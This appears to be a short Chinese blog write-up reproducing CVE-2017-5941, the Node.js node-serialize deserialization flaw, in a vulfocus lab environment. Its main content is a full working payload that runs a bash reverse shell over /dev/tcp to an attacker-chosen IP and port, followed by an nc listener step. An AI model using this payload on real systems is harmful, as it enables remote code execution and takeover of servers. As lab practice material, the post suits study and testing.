Node.JS-CVE-2017-5941

背景:
这是关于node.js反序列化的一个漏洞,该站点接受反序列化数据,并且没有对反序列化的对象做限制,导致的代码执行,可以通过代码执行反弹shell连接服务器。代码执行语句跟node.js执行语句有关。

漏洞编号:
CVE-2017-5941

环境搭建:
1, 打开vulfocus靶场

2,使用浏览器访问

漏洞复现:
1,构造payload
_$$ND_FUNC$$_function (){require('child_process').exec('bash -c "bash -i >& /dev/tcp/反弹的IP/端口 0>&1"')}()

2,在VPS上开启nc监听

3,输入用户名密码

4,成功接收反弹拿到flag

posted @ 2022-01-10 14:53  Colin.B  阅读(208)  评论(0编辑  收藏  举报